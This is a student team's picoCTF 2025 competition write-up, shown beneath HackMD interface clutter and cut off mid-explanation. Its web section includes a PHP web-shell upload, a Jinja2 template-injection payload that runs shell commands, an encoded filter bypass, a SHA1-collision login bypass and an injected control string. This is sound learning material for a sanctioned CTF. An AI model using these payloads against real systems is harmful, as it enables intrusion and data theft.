Jaden Andrews
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invitee
    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Versions and GitHub Sync Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
Invitee
Publish Note

Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

Your note will be visible on your profile and discoverable by anyone.
Your note is now live.
This note is visible on your profile and discoverable online.
Everyone on the web can find and read all notes of this public team.
See published notes
Unpublish note
Please check the box to agree to the Community Guidelines.
View profile
Engagement control
Commenting
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Suggest edit
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
Emoji Reply
Enable
Import from Dropbox Google Drive Gist Clipboard
   owned this note    owned this note      
Published Linked with GitHub
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
# **PicoCTF 2025 Write-Up** [![hackmd-github-sync-badge](https://hackmd.io/HtXENiZJQG-w1EsEOZINpg/badge)](https://hackmd.io/HtXENiZJQG-w1EsEOZINpg) > # Introduction > The picoCTF 2025 Competition, organized by Carnegie Mellon University, was a cybersecurity competition where participants tried solving a designated number of problems within a specific timeframe. The competition took place from March 7, 2025 to March 17, 2025, and was available to anyone older than 13 years old with different leaderboards for Global, US Middle/High Schools, US Middle Schools, African HS/Undergraduate, and JP Students. [The Center of Excellence in Cybersecurity Research, Education, and Outreach](https://www.ncat.edu/research/centers/creo/index.php) (based out of North Carolina A&T State University in Greensboro, NC) had two participating teams. We are [Z3R0_D4Y](https://play.picoctf.org/teams/13242): > | Member Name | Role | picoCTF 2025 Portfolio | |:--------------------------------------------------:|:----------------------------------------:|:--------------------------------------------------------:| | [Jaden Andrews](https://jadenandrews831.github.io) | Reverse Engineering, Binary Exploitation | [Portfolio](https://play.picoctf.org/participants/86339) | | Elijah Flythe | Web Exploitation | [Portfolio](https://play.picoctf.org/participants/97291) | | Kaciopey Ikounga Moulolo | Cryptography, General Skills, Binary Exploitation | [Portfolio](https://play.picoctf.org/participants/86757) | | Delvan Paulino | Forensics, General Skills | [Portfolio](https://play.picoctf.org/participants/86756) | Z3R0_D4Y ended the competition with **2,310** with **19/41** challenges solved, putting us in the top **20%** of all participating teams. This write-up comprises of the CTF challenges, their points values, and detailed steps for solving each challenge. Solutions are organized based on their category and point value. --- # **General Skills** ## FANTASY CTF > **Points:** 10 > > **Solved By:** Delvan Paulino > > **Difficulty:** easy ![Screenshot 2025-03-19 201025](https://hackmd.io/_uploads/Bk7K6A_nJg.jpg) ### Summary: The FANTASY CTF was a brief introductory game designed to familiarize players with the terminal apps and provide answers to concerns about the picoCTF rules. 1. The first step of of the excerise was either using the picoCTF webshell or cmd to connect to the adddress.![Step1](https://hackmd.io/_uploads/HyPAJJK2kg.jpg) 2. Throughout the question I answered them accodingly based on the offical rules of picoCTF ![Screenshot 2025-03-19 202430](https://hackmd.io/_uploads/Hk_Ul1Fhyl.jpg) 3. Finally, the flag is displayed at the end of the small quiz. ## Chalkboard > **Points:** 100 > > **Solved By:** Delvan Paulino > > **Difficulty:** easy ### Summary: I was able to finish and provide a summary on how to tackle the Chalkboard PicoCTF challenge, which was taken out of the competition.![Screenshot 2025-03-19 205813](https://hackmd.io/_uploads/S1OH_kFh1g.jpg) 1. In order to locate a flag in the file that the Chalkboard challenge gave, I had to retrieve the text file. ![Screenshot 2025-03-19 205048](https://hackmd.io/_uploads/SkMK81thkx.jpg) 2. I then needed to discover unique instances of the phrase "I WILL NOT BE SNEAKY" using the grep -v program.![Screenshot 2025-03-19 205632](https://hackmd.io/_uploads/rkT0wkYhke.jpg) 3. Finally, I had to put the last flag together that was being written out using all of the "I WILL NOT BE SNEAKY" lines, which came out as follows: picoCTF {Chalkboard_bert_fd2e54c6} #### Solution: ## Rust-Fixme 1 > **Points:** 100 > > **Solved By:** Kaciopey Ikounga > > **Difficulty:** easy ![Screenshot_19-3-2025_15318_play.picoctf.org](https://hackmd.io/_uploads/Syc-rqd21x.jpg) ### Summary: The Rust code decrypts an XOR-encrypted flag using the key "CSUCKS" by performing a series of steps. First, it loads the encrypted flag stored as an array of hexadecimal values and converts these values into a byte array. It then applies XOR decryption by iterating through the byte array and XORing each byte with the corresponding byte of the key, repeating the key as needed. After decryption, the resulting byte array is converted into a readable string. Finally, the decrypted flag is printed, or an error message is displayed if the byte array cannot be converted to a valid readable string. The overall goal of this program is to retrieve a hidden flag from its encrypted form #### Solution: ![Screenshot 2025-03-20 101220](https://hackmd.io/_uploads/By7Pfsth1e.png) I changed ret to return to exit the function properly, and then I changed :? to {} which correctly prints out a variable in the println! function, allowing the flag to be printed. ![Screenshot 2025-03-20 102633](https://hackmd.io/_uploads/B1U6rithJe.png) ## Rust-Fixme 2 > **Points:** 100 > > **Solved By:** Kaciopey Ikounga > > **Difficulty:** easy ![Screenshot_19-3-2025_15415_play.picoctf.org](https://hackmd.io/_uploads/rJEHH5d21e.jpg) ### Summary: The Rust program decrypts a flag using XOR-based decryption with the key "CSUCKS". It converts hex-encoded encrypted data into bytes, decrypts it, and appends the result to a mutable string. The final message, including the decrypted flag, is then printed. #### Solution: The problem with the code was that it was passing &party_foul as an immutable reference (&String), but it was trying to mutate it inside decrypt(). ![Screenshot 2025-03-20 103005](https://hackmd.io/_uploads/Hy7BwsFhkg.png) ![Screenshot 2025-03-20 103409](https://hackmd.io/_uploads/BJR_wsYnJe.png) So, I added &mut to the decrypt function and the party_foul variable when it was passed to the decrypt function. ![Screenshot 2025-03-20 103703](https://hackmd.io/_uploads/r1UNdot2kx.png) ![Screenshot 2025-03-20 103826](https://hackmd.io/_uploads/r12O_oFnke.png) --- # **Forensics** ## Ph4nt0m 1ntrud3r > **Points:** 50 > > **Solved By:** Jaden Andrews > > **Difficulty:** Easy ### Solution: ![image](https://hackmd.io/_uploads/Sy_Figc3yg.png) 1. This challenge is contained within a `.pcap` file, so first, download the file and open it in Wireshark. ![image](https://hackmd.io/_uploads/HJAL2g5nkg.png) 2. Observe that some of the packets have a negative time value, and the packets are not sorted in time order. Filter the traffic by `time`: ![image](https://hackmd.io/_uploads/ByX1Tgcnkx.png) 3. Double-click on the packet with `No. 1` to see the body: ![image](https://hackmd.io/_uploads/Byo76xq3Jx.png) * At the very end of the body is a value that resembles `Base64`. 4. Copy the suspicious value `ezF0X3c0cw==` and decode it with the 'base64' command: ``` $ echo ezF0X3c0cw== | base64 -d | more {1t_w4s ``` * The returned value resembles the start of a flag 5. Repeat steps `3` and `4` for each packet that comes after the previous in time order: ``` $ echo bnRfdGg0dA== | base64 -d | more nt_th4t $ echo XzM0c3lfdA== | base64 -d | more _34sy_t ... ``` * Ultimately, this process will give you all parts of the flag. > Remember to put picoCTF at the beginning of the flag (i.e. `picoCTF{flag_data_goes_here}`) ## RED > **Points:** 100 > > **Solved By:** Delvan Paulino > > **Difficulty:** easy ![Screenshot 2025-03-19 202720](https://hackmd.io/_uploads/H1LMWyF31l.jpg) ### Summary: The RED picoCTF challange involved steganography being used in the RED picoCTF challenge to retrieve and decode the flag concealed in the png. 1. I downloaded the image to my shell using the command wget and the picoCTF webshell in order to take on this challenge.![Screenshot 2025-03-19 203304](https://hackmd.io/_uploads/SyC8M1FhJg.jpg) 2. Following the download of the photos, I used the cat command to analyze the red.png file and explain its contents before directing it to an output.txt file.![Screenshot 2025-03-19 203733](https://hackmd.io/_uploads/BJ5D71Kn1x.jpg) 3. I then chose to read the message using zsteg in the pico CTF shell, which resulted in a base 64 string.![Screenshot 2025-03-19 203958](https://hackmd.io/_uploads/rJslN1F21l.jpg) 4. Finally, I created a viewable flag to redeem the points by decoding the string using an online base64 decoder. ![Screenshot 2025-03-19 204220](https://hackmd.io/_uploads/r1OK4kY2yg.jpg) --- # **Cryptography** ## HashCrack > **Points:** 100 > > **Solved By:** Kaciopey Ikounga > > **Difficulty:** Easy ### Solution: ![Screenshot_19-3-2025_121647_play.picoctf.org](https://hackmd.io/_uploads/BkS0pKuhJx.jpg) #### Step1: I accessed the server and got a hashed passord ![Screenshot 2025-03-08 141910](https://hackmd.io/_uploads/Bkroy9_3kx.png) #### Step2: I used online tools first to check if it was in any database and used Crackstation to decript it. ![Screenshot 2025-03-08 141943](https://hackmd.io/_uploads/Sks-W5OhJg.png) #### Step3: I did this multiple times before I got the flag. ![Screenshot 2025-03-08 142413](https://hackmd.io/_uploads/HkKqbq_3yl.png) --- # **Web Exploitation** ### **Cookie Monster Secret Recipe - Elijah Flythe** ##### Step 1: Accessing Cookies via Developer Tools I started by opening the browser’s Developer Tools (usually by right-clicking on the page and selecting "Inspect" or pressing F12). I then navigated to the Storage tab and examined the Cookies for the target website. ##### Step 2: Identifying the Secret Recipe While reviewing the stored cookies, I discovered one that appeared suspicious and contained a long, encoded string. #### Step 3: Decoding the Secret Recipe Upon further inspection, I identified the encoding format as Base64. I decoded the string using an online tool or a simple script, revealing the secret recipe in plain text. ### **Head-dump - Elijah Flythe** #### Step 1: Viewing the Page Source I began by examining the page source of the target website (right-click -> "View Page Source" or press Ctrl+U). #### Step 2: Inspecting Java Files While analyzing the source code, I noticed a reference to a Java file. I followed the link to view the contents and identified a heap dump file embedded within or linked from the script. #### Step 3: Downloading and Analyzing the Heap Dump I downloaded the heap dump file and used PowerShell to inspect its contents. After careful examination, I successfully located the flag. ![image](https://hackmd.io/_uploads/rynAx9Phyx.png) ### **Nosanity 1 - Elijah Flythe** ### #### Step 1: Identifying Vulnerability During testing, I discovered that the application did not properly sanitize file upload inputs. This indicated a potential vulnerability that could be exploited via file upload. #### Step 2: Crafting the Payload I created a PHP payload file designed to open a reverse shell when provided with a command. The payload was constructed to accept commands via a URL parameter (`?cmd=whoami`). #### Step 3: Uploading and Accessing the Payload I uploaded the payload through the file upload functionality and navigated to the uploaded file’s path using the URL: `/uploads/shell.php` #### Step 4: Executing Commands Since the payload would not execute without a command, I appended a query string to test it: `/uploads/shell.php?cmd=whoami` This returned root, confirming successful execution. #### Step 5: Privilege Escalation After numerous attempts with various commands (sudo -l, sudo whoami, sudo su), I identified that one of these commands worked, granting me elevated privileges and confirming root access. ![image](https://hackmd.io/_uploads/Sy62Zcwn1l.png) ### **SSTI1 - Elijah Flythe** #### Step 1: Researching Server-Side Template Injection I began by researching Server-Side Template Injection vulnerabilities and their exploitation techniques. I then experimented with various payloads to determine the template engine used by the application. #### Step 2: Identifying the Template Engine Through trial and error, I discovered that the application was using the Jinja2 template engine. This information allowed me to craft more targeted payloads. #### Step 3: Locating the Flag Next, I brute-forced several injection payloads to identify the file path of the flag. Eventually, I determined that the flag was located at: `/challenge/flag` #### Step 4: Exploiting the Injection With the file path identified, I crafted a payload to read the contents of the flag file using Jinja2’s capabilities: `{{config.__class__.__init__.__globals__['os'].popen('cat /challenge/flag').read()}}` Executing this injection successfully retrieved the flag in plain text. ## **WebSockFish** > **Points:** 200 > > **Solved By:** Jaden Andrews > > **Difficulty:** Medium ### Solution: ![image](https://hackmd.io/_uploads/B1F38vs3ke.png) 1. This challenge, called `WebSockFish`, likely uses web sockets, so running the traffic through a web proxy, like `Burp Suite`, will allow you to reveal the web socket traffic. 2. Launching the challenge will display the following chess game: ![image](https://hackmd.io/_uploads/HyIsL432ye.png) * Note the message `I'm just a fish, but I know a thing or two about chess` 3. Make a few moves, then check the web proxy for web socket traffic: ![image](https://hackmd.io/_uploads/B1hZj432kg.png) * Note the message `I think my game is going pretty swimmingly :)` * Observing the Web Socket traffic, you can see: ### First Client Message: ![image](https://hackmd.io/_uploads/ryRwiVhnkl.png) ### First Server Message: ![image](https://hackmd.io/_uploads/B1HcjVh3Je.png) ### Second Client Message: ![image](https://hackmd.io/_uploads/H1KzhEhhJg.png) ### Second Server Message: ![image](https://hackmd.io/_uploads/rJnB2Nhhyx.png) ### Third Client Message: ![image](https://hackmd.io/_uploads/ryZGAVn3ye.png) ### Third Server Message: ![image](https://hackmd.io/_uploads/B1SFhEn3kx.png) ### Fourth Client Message: ![image](https://hackmd.io/_uploads/SyqErHh21e.png) ### Fourth Server Message: ![image](https://hackmd.io/_uploads/HJbK6E2hyl.png) > * All the messages from the client take a basic form, `eval <number>`, where some number values are negative and others are not. > * After the first move, the value of the `<number>` continually increases. > * As the value of the `<number>` increases, and eventually becomes positive, the message from the server eventually changes from `I think this position is pretty equal` to `I think my game is going pretty swimmingly` * With all of this in mind, it can be deduced that a positive `<number>` indicates that the player is losing. 4. In `Burp Suite`, identify any message `To server`, and send it to the repeater to that it may be modified: ![image](https://hackmd.io/_uploads/BkE5fB2nJl.png) * Note that sending a large negative `<number>` value produces an entirely new message `Are you sure about that move :)`. Initially, this may be discouraging, but sending an even larger negative `<number>` has the following affect: ![image](https://hackmd.io/_uploads/HJzz7Sh31l.png) ### **3VAL - Elijah Flythe** #### Step 1: Injection and RCE Discovery The challenge was injection-based, ultimately leading to Remote Code Execution. The input was highly sanitized, making standard payloads ineffective. #### Step 2: Bypassing Input Sanitization To overcome the sanitization, I developed a payload that used character encoding to bypass filtering. The payload constructed the file path character by character: `open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()` This effectively translates to: `open('/flag.txt').read()` #### Step 3: Retrieving the Flag Since the challenge had already provided the flag file name (flag.txt), I used this injection to directly read the file contents. The payload executed successfully, pulling the flag via the cat command. ## **Apriti Sesamo** > **Points:** 300 > > **Solved By:** Jaden Andrews > > **Difficulty:** Medium ### Solution: ![image](https://hackmd.io/_uploads/SkjUiDi3kl.png) 1. Initially trying to do this challenge, there was no indication of what was needed to solve it. `Apriti sesamo` essentially means `Open Sesame` in italian, which was not a significant clue. The home page only had a button to the login page, and there was no indication of how the login functionality worked. Inducing errors did not seem to cause any desireable effects. To get more information, I took a look at the hints that were available, which were as follows: > * `Backup files` > * `Rumor has it, the lead developer is a militant emacs user` * These were significant hints about how the challenge could be solved. I now knew to look for a backup version of the login page to get more information about how it functioned. I just needed to add an `~` to the end of the url, since this is the scheme used by `emacs` to denote which files are backups. 2. Using the information above, get the backup file for the login page, like so: ![image](https://hackmd.io/_uploads/BJI7KSn2Jx.png) * Upon initial inspection of the webpage, there is nothing immediately different, however by inspecting the source code you will immediately notice some new, commented lines of php: ``` <!--?php if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142 \127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])) {$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62 \127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")]; if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79 \x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166 \x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64 \x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a \x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112 \171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76 \111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64 \x51\x3d\75");}}}?--> ``` * This essentially defines how the login functionality works, as follows: > * First, it tests to make sure that the username and password values are not the same. > * Then, it tests to see if the username and password produce the same `SHA1` value. > * If the values are the same, then the program will load and output the value of `../flag.txt` * So, essentially, the challenge is to find a hash collision for `SHA1` that can be used for the username and password. 3. Looking online, you will find the following two files have a `SHA1` hash collision: > * PDF 1: https://shattered.io/static/shattered-1.pdf > * PDF 2: https://shattered.io/static/shattered-2.pdf * URL encoding each file's contents and passing them as the username and password parameters will initiate a successful login and return the flag: ![image](https://hackmd.io/_uploads/BJRAWga2kx.png) --- # **Reverse Engineering** ## **Flag Hunters** > **Points:** 75 > > **Solved By:** Jaden Andrews > > **Difficulty:** Easy ### Solution: ![image](https://hackmd.io/_uploads/BJld-NvnJx.png) 1. In this challenge, you are given the source code for the server `lyric_reader.py`, but the flag is hidden within a file called `flag.txt`, which is not given. In order to solve the challenge, download the source code and create a test flag file with some recognizeable text: ``` $ echo "flag text goes here" > flag.txt $ cat flag.txt flag text goes here ``` 2. Next, run the source code and observe the output: ``` $ python lyric_reader.py Command line wizards, we’re starting it right, Spawning shells in the terminal, hacking all night. Scripts and searches, grep through the void, Every keystroke, we're a cypher's envoy. Brute force the lock or craft that regex, Flag on the horizon, what challenge is next? We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. Crowd: ``` Song lyrics are printed to stdout, and the program waits for user input. Use a test string to see what happens: ``` ... Crowd: test Echoes in memory, packets in trace, Digging through the remnants to uncover with haste. Hex and headers, carving out clues, Resurrect the hidden, it's forensics we choose. Disk dumps and packet dumps, follow the trail, Buried deep in the noise, but we will prevail. We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. Crowd: test ... We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. Crowd: test ... We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. Crowd: test ... ``` Observe that the test string is repeated within the output until execution of the program has concluded. 3. To determine how this user input is being handled, inspect the source code: > 3.1 - The flag is read from a file `flag.txt` into a variable `flag`: ``` # lyric_reader.py ... 5: # Read in flag from file 6: flag = open('flag.txt', 'r').read() ... ``` > `flag` is then added to the end of another string, `secret_intro`: ``` # lyric_reader.py ... 8: secret_intro = \ 9: '''Pico warriors rising, puzzles laid bare, 10: Solving each challenge with precision and flair. 11: With unity and skill, flags we deliver, 12: The ether’s ours to conquer, '''\ 13: + flag + '\n' ``` > Finally, this is all added to `song_flag_hunters` and passed to `reader(song, startLabel)`: ``` # lyric_reader.py ... 16: song_flag_hunters = secret_intro +\ 17: ''' 18: 19: [REFRAIN] 20: We’re flag hunters in the ether, lighting up the grid, 21: No puzzle too dark, no challenge too hid. 22: With every exploit we trigger, every byte we decrypt, 23: We’re chasing that victory, and we’ll never quit. 24: CROWD (Singalong here!); 25: RETURN 26: 27: [VERSE1] 28: Command line wizards, we’re starting it right, 29: Spawning shells in the terminal, hacking all night. 30: Scripts and searches, grep through the void, ... 34: 35: REFRAIN; 36: 37: Echoes in memory, packets in trace, 38: Digging through the remnants to uncover with haste. ... 43: 44: REFRAIN; ... 132: reader(song_flag_hunters, '[VERSE1]') ''' ``` Notice, these song lyrics were printed to stdout without the `secret_intro` when the program was run: > 3.2 - `song_flag_hunters` is passed to `reader(song, startLabel)` as `song`. ``` # lyric_reader.py ... 87: def reader(song, startLabel): 88: lip = 0 89: start = 0 90: refrain = 0 91: refrain_return = 0 92: finished = False 93: 94: # Get list of lyric lines 95: song_lines = song.splitlines() 96: 97: # Find startLabel, refrain and refrain return 98: for i in range(0, len(song_lines)): 99: if song_lines[i] == startLabel: # '[VERSE1]' was passed as 'startLabel', which is why the output skips the 'secret_intro' 100: start = i + 1 ... 111: for line in song_lines[lip].split(';'): # Every line of the song is further split if it contains a semicolon ... 117: elif re.match(r"CROWD.*", line): 118: crowd = input('Crowd: ') # User input is requested ... 121: elif re.match(r"RETURN [0-9]+", line): # If the command is 'RETURN <number>', 122: lip = int(line.split()[1]) # The program starts reading 'song_flag_hunters' at line <number> ... ``` 4. To print the `secret_intro`, give some user input that will cause the program to read it: > 4.1 - First, use a test input, like `test;`, which has a semicolon at the end: ``` $ python lyric_reader.py ... Crowd: test; ... We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. Crowd: test ... Crowd: test ... ``` > Notice that the semicolon from the input has disappeared. This is because `;` is a control character, as the program will split the line wherever one is found and conduct different operations based on each section of the line it deliminates. > > 4.2 - Use an input with the operation `RETURN 0`, so the program knows to read from the beginning: ``` $ python lyric_reader.py ... Crowd: test;RETURN 0 ... We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. Crowd: test Pico warriors rising, puzzles laid bare, Solving each challenge with precision and flair. With unity and skill, flags we deliver, The ether’s ours to conquer, flag text goes here ... ``` The string value from the local `flag.txt` is found in the output, so a useful payload has been found. 5. Verify the solution by submitting it to the server. ``` $ nc verbal-sleep.picoctf.net 59014 ... Crowd: test;RETURN 0 Echoes in memory, packets in trace, Digging through the remnants to uncover with haste. ... We’re flag hunters in the ether, lighting up the grid, No puzzle too dark, no challenge too hid. With every exploit we trigger, every byte we decrypt, We’re chasing that victory, and we’ll never quit. Crowd: test Pico warriors rising, puzzles laid bare, Solving each challenge with precision and flair. With unity and skill, flags we deliver, The ether’s ours to conquer, picoCTF{flag_was_found_here} ``` ## Tap into Hash > **Points:** 200 > > **Solved By:** Jaden Andrews > > **Difficulty:** Medium ### Solution: ![image](https://hackmd.io/_uploads/rJ8-wHP3yg.png) 1. Download the given files (`enc_flag` and `block_chain.py`), then print the contents of `enc_flag`: ``` $ cat enc_flag Key: b'Z\xa3\xf6\xd4\xdb\x8a\x9c\x10\x84\xf8\xb6\xb0:\x1c\xce\xca\xbfX\x96\x9d\x87\tm\xd6\xbe4a\xc5\xd5\x91^\x98' Encrypted Blockchain: b'o\xd3\xefR\xf9@\x01(\xebg\xf0\xed\xc5K\xcc\x87>\x83\xe8\x05\xaeB\x02)\xbe2\xa7\xe2\xc6\x19\x97\xd2h\xd9\xeaW\xfcF\x05+\xb20\xf4\xb7\x97N\x9f\ xd5e\xd2\xeb\x02\xf9FVx\xeb`\xa2\xe4\xc7M\x9c\x85p\xd1\xe8P\xffOR.\xee5\xa6\xb6\x94\x18\x9e\x84i\xd6\xbaQ\xf9\x14\x00.\xee3\xa2\xe4\x93\x1c\x9a\x83h\x87\xea\x01\xf8FV"\xbbe\xa2\xb6\x93N\x9b\xd5l\xd4\xbaU\xa8\x17Z.\xbdb\xa6\xe5\xc7H\xcc\x8fk\xcc\xe8P\xa9C\x07(\xbd<\xf4\xe7\xc6\x18\x99\x d0;\x82\xe0\x01\xa8GQz\xeb6\xaf\xe5\xc7H\xca\x829\xd2\xa8\t\xa9\x19 O\xcc\x7f\xf4\xb9\x99\x1e\xc5\xe9n\xb2\x8a\x08\x9c\x1f1y\xde5\xe7\xb6\xae"\xf6\xe37\xac\xe8\x12\xfeO\x00S\xd5u\xd5\xaf\x9b7\xf4\xcc\x1f\xaa\x87 T\xff\x15\x07)\xeb1\xa4\xa8\x92D\x9b\xd5k\x87\xebQ\xac\x17U,\xb93\xf2\xe4\x92I\x96\xd3l\x87\xbcQ\xa8DV*\xb3f\xf4\xb6\xdbM\x9e\x82e\xd6\xbcY\xfd NQ"\xbc4\xf3\xe4\xc4I\x97\x858\xd8\xbcQ\xabDZ+\xe83\xa7\xb7\xc2I\x9f\xd7d\x80\xee\x01\xafG\x07,\xbf7\xa3\xe6\x95\x1c\x99\xd7m\xd0\xb9Y\xacCU}\x ece\xaf\xb3\x90P\x9e\x86n\x82\xbaQ\xae\x14W/\xec`\xf0\xe7\xc0N\x9a\x81m\xd6\xe8Y\xa8BU(\xbd6\xa1\xe1\xc1J\x97\x81j\x87\xbbV\xfeBW~\xbf3\xa6\xb6 \xc2\x18\x97\xd0>\xd4\xeaU\xf8\x13\x01-\xeb2\xf2\xe5\xc5\x19\xac\xb4' ``` Note that this returns the encryption key and an encrypted blockchain. 2. Next, analyze the source code. `block_chain.py` has 10 functions total, but 7 that are particularly important: #### main(token): ``` 91: def main(token): 92: key = bytes.fromhex(random_string) ... 96: genesis_block = Block(0, "0", int(time.time()), "EncodedGenesisBlock", 0) 97: blockchain = [genesis_block] 98: 99: for i in range(1, 5): 100: encoded_transactions = base64.b64encode( 101: f"Transaction_{i}".encode()).decode('utf-8') 102: new_block = proof_of_work(blockchain[-1], encoded_transactions) 103: blockchain.append(new_block) 104: 105: all_blocks = get_all_blocks(blockchain) 106: 107: blockchain_string = blockchain_to_string(all_blocks) 108: encrypted_blockchain = encrypt(blockchain_string, token, key) 109: 110: print("Encrypted Blockchain:", encrypted_blockchain) ``` > `main(token)` does a lot, but primarily it: > * Initializes the encryption key, setting it equal to a byte string of random data, then prints it to stdout. > * Initializes the blockchain by creating the genesis block. > * Adds 4 transactions to the blockchain by: > > * Encoding the transaction name: > > > 1. As a byte string > > > 2. Then into base64 > > > 3. Finally, decoding the characters as utf-8 values. > > * Passes the encoded transaction name and the previous block (genesis block if first) to `proof_of_work(blockchain[-1], encoded_transactions)` (`new_block`) > > * Adds `new_block` to the `blockchain` list > * Calls `get_all_blocks(blockchain)`, passes the output to `encrypt(blockchain_string, token, key)`, and finally prints the `encrypted_blockchain` to stdout #### proof_of_work(previous_block, encoded_transactions): ``` 21: def proof_of_work(previous_block, encoded_transactions): 22: index = previous_block.index + 1 23: timestamp = int(time.time()) 24: nonce = 0 25: 26: block = Block(index, previous_block.calculate_hash(), 27: timestamp, encoded_transactions, nonce) 28: 29: while not is_valid_proof(block): 30: nonce += 1 31: block.nonce = nonce 32: 33: return block ``` > `proof_of_work(previous_block, encoded_transactions)` will: > * Get the index of the `previous_block` and add 1 to it to get the current index. > * Initialize the timestamp for the current blocks creation > * Initialize a nonce of 0 > * Initialize a new Block object `Block(index, previous_hash, timestamp, encoded_transactions, nonce)` > * Determine if the hash value is valid by verifying the hash starts with two zeroes `00`, otherwise, the hash is recalculated after increasing the nonce value by one, and it is then checked again. > * After the hash value is verified as valid, the created block object is returned by the function. #### gets_all_blocks(blockchain): ``` 45: def get_all_blocks(blockchain): 46: return blockchain ``` > `get_all_blocks(blockchain)` will: > * Return the given blockchain array #### blockchain_to_string(blockchain): ``` 49: def blockchain_to_string(blockchain): 50: block_strings = [f"{block.calculate_hash()}" for block in blockchain] 51: return '-'.join(block_strings) ``` > `blockchain_to_string(blockchain)` will: > * Make a list of eacho block's hash value, then returns it as a `-` delimited string. #### encrypt(plaintext, inner_txt, key): ``` 54: def encrypt(plaintext, inner_txt, key): 55: midpoint = len(plaintext) // 2 56: 57: first_part = plaintext[:midpoint] 58: second_part = plaintext[midpoint:] 59: modified_plaintext = first_part + inner_txt + second_part 60: block_size = 16 61: plaintext = pad(modified_plaintext, block_size) 62: key_hash = hashlib.sha256(key).digest() 63: 64: ciphertext = b'' 65: 66: for i in range(0, len(plaintext), block_size): 67: block = plaintext[i:i + block_size] 68: cipher_block = xor_bytes(block, key_hash) 69: ciphertext += cipher_block 70: 71: return ciphertext ``` > `encrypt(plaintext, inner_txt, key)` will: > * Initializes a variable for the midpoint of the given plaintext by finding the length and dividing it in half using integer division (`midpoint`) > * Initializes a variable for the first part of the modified plaintext by getting everything in the plaintext from the start of the midpoint (`first_part`) > * Initializes a variable for the second part of the modified plaintext by getting everything in the plaintext after the midpoint (`second_part`) > * Creates a variable for the entire modified plaintext by combining `first_part`, `inner_txt`, and `second_part` (`modified_plaintext`) > * Sets a `block_size` of 16 > * Overwrites `plaintext` with the output of `pad(modified_plaintext, block_size)` > * Iterates over the plaintext in `block_size` increments and calls `xor_bytes(block, key_hash)` and adds the output to a string `ciphertext`, which returned after each block has been added. #### pad(data, block_size): ``` 74: def pad(data, block_size): 75: padding_length = block_size - len(data) % block_size 76: padding = bytes([padding_length] * padding_length) 77: return data.encode() + padding ``` > `pad(data, block_size)` will: > * Calculate the number of bytes which need to be added to the given data > * Adds `block_size` number of bytes to `padding`, encoded as `\x<block_size><block_size>...` > * Returns the `data`, 